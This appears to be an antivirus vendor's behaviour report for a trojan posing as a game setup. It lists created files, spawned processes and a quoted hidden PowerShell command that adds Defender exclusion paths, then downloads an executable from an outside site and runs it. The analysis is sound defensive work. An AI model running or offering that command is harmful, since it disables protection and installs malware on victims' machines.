Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle hidden Add-MpPreference -ExclusionPath C:\Users;Add-MpPreference -ExclusionPath $env:ProgramFiles;cd C:\Users\Public;Invoke-WebRequest https://jeuxviddeo.com/V1 -OutFile V1.exe;./V...
Modifies file system
Creates the following files
- <Current directory>\game.bat
- <Current directory>\setup.exe
- %TEMP%\is-kirtu.tmp\setup.tmp
- nul
- %TEMP%\is-2rdr7.tmp\_isetup\_setup64.tmp
- %TEMP%\is-2rdr7.tmp\_isetup\_shfoldr.dll
- %TEMP%\is-2rdr7.tmp\idp.dll
- %TEMP%\is-2rdr7.tmp\innocallback.dll
- %TEMP%\is-2rdr7.tmp\isdone.dll
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
Creates and executes the following
- '<Current directory>\setup.exe'
- '%TEMP%\is-kirtu.tmp\setup.tmp' /SL5="$E0022,3455186,140800,<Current directory>\setup.exe"
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ""<Current directory>\Game.bat" "
- '%WINDIR%\syswow64\net.exe' session
- '%WINDIR%\syswow64\net1.exe' session
